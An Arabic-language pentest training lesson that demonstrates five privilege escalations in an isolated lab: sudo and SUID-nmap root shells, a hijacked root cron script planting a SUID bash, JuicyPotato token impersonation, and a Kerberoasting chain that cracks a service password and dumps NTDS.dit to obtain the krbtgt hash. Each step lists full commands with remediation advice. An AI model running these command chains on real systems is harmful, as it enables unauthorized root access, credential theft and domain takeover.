تصعيد الصلاحيات — عرض توضيحي موجَّه
خمسة تصعيدات من البداية إلى النهاية. ثلاثة على Linux (Metasploitable 2)، اثنان على Windows (Metasploitable 3 + مختبر AD صغير). في كل مرة: السياق، الأمر، الإثبات، التقرير.
جميع الأجهزة الافتراضية على شبكة host-only. لا يخرج أي أمر من المختبر.
ما ستتقنه بعد هذا الدرس
- تحديد واستغلال خمسة مسارات تصعيد مختلفة.
- استخدام
linpeas،winpeas،gtfobins،bloodhoundبشكل نظيف. - كسر TGS من Kerberos باستخدام
hashcat -m 13100. - استخراج بيانات الاعتماد من ذاكرة جهاز Windows.
- كتابة محضر تصعيد قابل للاستخدام في تقرير.
الديكور
| الجهاز | الدور | IP |
|---|---|---|
| Kali | المهاجم | 10.10.10.5 |
| Metasploitable 2 (Linux) | هدف Linux، جلسة msfadmin مُحصَّلة | 10.10.10.20 |
| Metasploitable 3 Win | هدف Windows مستقل، جلسة vagrant مُحصَّلة | 10.10.10.12 |
| DC AD lab | متحكم الدومين acme.local | 10.10.10.100 |
| WS01 AD lab | جهاز Windows منضم إلى الدومين، جلسة alice مُحصَّلة | 10.10.10.101 |
مختبر AD الصغير، نُنشئه بواسطة GOAD أو بواسطة Windows Server بسيط مع عميل Windows 10. سنعود إليه في الوحدة 10.
التصعيد 1 (Linux) — sudo vim بصيغة NOPASSWD
لديك shell بحساب msfadmin على Metasploitable 2. السؤال 1:
sudo -l
المخرجات:
User msfadmin may run the following commands on this host:
(ALL) NOPASSWD: ALL
فرصة تعليمية ذهبية: يملك msfadmin كل صلاحيات sudo دون كلمة مرور. لا حاجة لـ vim:
sudo bash
whoami
# root
البطاقة:
## التصعيد 1 — sudo NOPASSWD ALL (Metasploitable 2)
- الحساب الأولي: msfadmin
- الحساب النهائي: root
- المسار: sudo -l يظهر "NOPASSWD: ALL" → sudo bash
- الأثر: اختراق كامل للجهاز
- التوصية: حذف سطر sudoers، تحديد أوامر دقيقة
التصعيد 2 (Linux) — SUID على nmap
لنحاكِ سيناريو أكثر دقة. على جهاز افتراضي آخر، msfadmin لا يملك sudo. لديه nmap بصلاحية SUID:
find / -perm -4000 -type f 2>/dev/null | head
المخرجات:
/usr/bin/nmap
/bin/mount
/bin/su
/usr/bin/passwd
/usr/bin/nmap بصلاحية SUID root أمر غير طبيعي. نستشير GTFOBins → في إصدارات nmap القديمة، الوضع التفاعلي:
nmap --interactive
nmap> !sh
sh-3.2# whoami
root
root عبر nmap. البطاقة:
## التصعيد 2 — SUID على /usr/bin/nmap (الوضع التفاعلي)
- الحساب الأولي: msfadmin
- الحساب النهائي: root
- المسار: nmap --interactive → !sh → shell بصلاحية root
- الأثر: اختراق كامل
- التوصية: إزالة SUID (chmod u-s /usr/bin/nmap)، استخدام capabilities
مستهدَفة إذا كان لا بد أن يعمل nmap دون صلاحيات
التصعيد 3 (Linux) — Cron بمسار نسبي
لننشئ سيناريو بشكل متعمَّد. بصفة root على الجهاز الافتراضي، مرة واحدة:
# بصفة root
echo '#!/bin/bash' > /usr/local/bin/backup.sh
echo 'echo "backup ran at $(date)" >> /var/log/backup.log' >> /usr/local/bin/backup.sh
chmod +x /usr/local/bin/backup.sh
chown msfadmin:msfadmin /usr/local/bin/backup.sh # <-- خطأ متعمَّد
# ملف Cron
echo '* * * * * root /usr/local/bin/backup.sh' > /etc/cron.d/backup
بصفة msfadmin، نلاحظ:
ls -la /usr/local/bin/backup.sh
# -rwxr-xr-x 1 msfadmin msfadmin 55 /usr/local/bin/backup.sh
السكربت مكتوب بواسطة msfadmin، ويُنفَّذ بواسطة root كل دقيقة. نستغله:
cat > /usr/local/bin/backup.sh <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
EOF
الانتظار دقيقة واحدة:
sleep 65
/tmp/rootbash -p
whoami
# root
البطاقة:
## التصعيد 3 — Cron بسكربت قابل للكتابة من طرف المستخدم
- الحساب الأولي: msfadmin
- الحساب النهائي: root
- المسار:
1. cat /etc/cron.d/backup → سكربت يُنفَّذ بواسطة root
2. ls -la /usr/local/bin/backup.sh → مملوك من طرف msfadmin
3. استبدال السكربت بحمولة SUID
4. بعد دقيقة: /tmp/rootbash -p → shell بصلاحية root
- الأثر: اختراق كامل للجهاز، مع إمكانية استمرارية
- التوصية: chown root:root لكل السكربتات في cron الخاص بـ root
التصعيد 4 (Windows) — WinPEAS وانتحال token
على Metasploitable 3 Windows، لديك جلسة vagrant عبر Meterpreter:
meterpreter > getuid
Server username: METASPLOITABLE3\vagrant
meterpreter > getprivs
Enabled Process Privileges
==========================
SeAssignPrimaryTokenPrivilege
SeIncreaseQuotaPrivilege
SeSecurityPrivilege
SeTakeOwnershipPrivilege
SeLoadDriverPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeProfileSingleProcessPrivilege
SeIncreaseBasePriorityPrivilege
SeCreatePagefilePrivilege
SeBackupPrivilege
SeRestorePrivilege
SeShutdownPrivilege
SeDebugPrivilege ← DEBUG !
SeSystemEnvironmentPrivilege
SeChangeNotifyPrivilege
SeRemoteShutdownPrivilege
SeUndockPrivilege
SeManageVolumePrivilege
SeImpersonatePrivilege ← IMPERSONATE !
SeCreateGlobalPrivilege
SeIncreaseWorkingSetPrivilege
SeTimeZonePrivilege
SeCreateSymbolicLinkPrivilege
SeImpersonatePrivilege تعني إمكانية سرقة token. هذا حساب خدمة أو مستخدم أُعِد ضبطه تاريخيًا بشكل سيئ.
استخدام PrintSpoofer أو JuicyPotato للانتقال إلى SYSTEM:
meterpreter > upload /usr/share/windows-resources/juicypotato/JuicyPotato.exe
meterpreter > shell
C:\> whoami
metasploitable3\vagrant
C:\> JuicyPotato.exe -l 1337 -p cmd.exe -a "/c whoami" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
....................
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};nt authority\system
[+] CreateProcessWithTokenW OK
على أنظمة Windows 10/11 الحديثة، يُستخدم PrintSpoofer أو RoguePotato حسب الإصدار.
البطاقة:
## التصعيد 4 — انتحال token عبر SeImpersonatePrivilege
- الحساب الأولي: METASPLOITABLE3\vagrant
- الحساب النهائي: NT AUTHORITY\SYSTEM
- المسار:
1. getprivs يكشف SeImpersonatePrivilege
2. الاستغلال باستخدام JuicyPotato/PrintSpoofer
3. shell بصلاحية SYSTEM
- الأثر: تحكم كامل في النظام، إمكانية استخراج hashes
- التوصية: تقليل حسابات الخدمة الحاملة لـ SeImpersonate،
مراقبة إنشاء الـ tokens عبر WMI
التصعيد 5 (AD) — Kerberoasting من البداية إلى النهاية
لديك جلسة alice على WS01، جهاز منضم إلى الدومين acme.local. الهدف: الانتقال إلى Domain Admin.
5أ. سرد SPN
من Kali، باستخدام Impacket:
impacket-GetUserSPNs -request \
-dc-ip 10.10.10.100 \
acme.local/alice:Alice2024! \
-outputfile preuves/tgs-tickets.txt
المخرجات:
ServicePrincipalName Name MemberOf
MSSQLSvc/sqlserver.acme:1433 svc_sql CN=Service Accounts,CN=Users,DC=acme,DC=local
CIFS/backup.acme.local svc_backup CN=Service Accounts,CN=Users,DC=acme,DC=local
[*] Tickets writtes to preuves/tgs-tickets.txt
حسابا خدمة اثنان بـ SPN. تذكرتا Kerberos تم الحصول عليهما.
مقتطف من الملف:
$krb5tgs$23$*svc_sql$acme.local$MSSQLSvc/sqlserver.acme:1433*$abc123def456...
5ب. الكسر بواسطة hashcat
hashcat -m 13100 preuves/tgs-tickets.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule
بعد بضع دقائق:
$krb5tgs$23$*svc_sql$acme.local$MSSQLSvc/sqlserver.acme:1433*$abc123...:SQLpass2020!
كلمة مرور حساب خدمة SQL في 3 دقائق.
5ج. الانتقال
بواسطة كلمة المرور، نتصل:
impacket-psexec acme.local/svc_sql:SQLpass2020!@sqlserver.acme.local
shell بصلاحية SYSTEM على sqlserver.acme.local.
على هذا الخادم، Meterpreter → جامع BloodHound → نرى:
svc_sqlعضو فيBackup Operators.Backup Operatorsيمكنها قراءة أي ملف نظام، بما في ذلكNTDS.ditعلى DC.
المسار النهائي:
# من خادم SQL، نستخدم ntdsutil لنسخ NTDS.dit:
ntdsutil "ac in ntds" "ifm" "cr fu C:\temp\dump" q q
# نُعيد الملف عبر SMB، ونستخرج بواسطة impacket-secretsdump:
impacket-secretsdump -ntds NTDS.dit -system SYSTEM LOCAL
المخرجات:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31c...:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8d3...:::
hash الخاص بـ krbtgt = القدرة على صنع Golden Ticket = وصول دائم إلى الدومين.
5د. البطاقة
## التصعيد 5 — Kerberoasting → Backup Operators → NTDS.dit
- الحساب الأولي: ACME\alice (مستخدم عادي)
- الحساب النهائي: اختراق كامل (hash الخاص بـ krbtgt)
- المسار:
1. impacket-GetUserSPNs → حسابا خدمة بـ SPN
2. hashcat -m 13100 → كلمة مرور svc_sql مكسورة
3. psexec على خادم SQL → SYSTEM محلي
4. BloodHound يكشف أن svc_sql ∈ Backup Operators
5. ntdsutil IFM على DC → NTDS.dit + خلية SYSTEM
6. secretsdump → استخراج hash الخاص بـ krbtgt
- الأثر: اختراق كامل للدومين، إمكانية Golden Ticket
- التوصيات:
1. كلمة مرور svc_sql تفوق 25 خانة (تقاوم الكسر)
2. إزالة svc_sql من مجموعة Backup Operators
3. مراجعة جميع الحسابات ذات SPN، إطالة كلمات مرورها
4. الانتقال إلى MSA (Managed Service Accounts) التي تُدوَّر تلقائيًا
الخطوة 6 — BloodHound كدعم
يُظهر BloodHound مسارات مثل مسار التصعيد 5. من Kali:
# جامع البيانات من WS01 ببيانات اعتماد alice
bloodhound-python -u alice -p 'Alice2024!' -d acme.local \
-ns 10.10.10.100 -c All -o preuves/bloodhound
# الاستيراد إلى Neo4j
neo4j start
bloodhound
# اسحب وأفلت ملفات .json في الواجهة
استعلام جاهز: Shortest Paths to Domain Admins from Owned.
نرى المسار alice → svc_sql (via kerberoast) → Backup Operators → DC → Domain Admin في رسم بياني واحد. هذا ما يُعرَض على العميل. أقوى بكثير من قائمة أوامر.
الخطوة 7 — الجدول التلخيصي
| # | الهدف | البداية | الوصول | المسار | الإثبات |
| - | -------------- | --------- | ---------- | -------------------------------- | -------------------------- |
| 1 | metasploitable2 | msfadmin | root | sudo NOPASSWD | preuves/01-sudo.log |
| 2 | metasploitable2 | msfadmin | root | SUID على nmap --interactive | preuves/02-nmap-suid.log |
| 3 | metasploitable2 | msfadmin | root | cron سكربت قابل للكتابة | preuves/03-cron.log |
| 4 | metasploitable3 | vagrant | SYSTEM | JuicyPotato / SeImpersonate | preuves/04-potato.log |
| 5 | acme.local | alice | اختراق كامل| Kerberoast → Backup Ops → NTDS.dit| preuves/05-kerberoast.log |
الحصيلة
في 90 دقيقة:
- خمسة تصعيدات مختلفة، خمسة مسارات مختلفة.
- خمسة إثباتات في مجلد واحد.
- رسم بياني BloodHound يجعل اكتشاف AD مرئيًا.
- hash خاص بـ krbtgt — ما يكفي للبقاء رغم كل العلاجات الجزئية.
هذا ما يدفع العميل ثمنه. ليس الفحوصات. ليست CVE. المسارات.
الدرس القادم: دورك أنت. ثلاثة تصعيدات، ثلاثة مسارات، ثلاث بطاقات.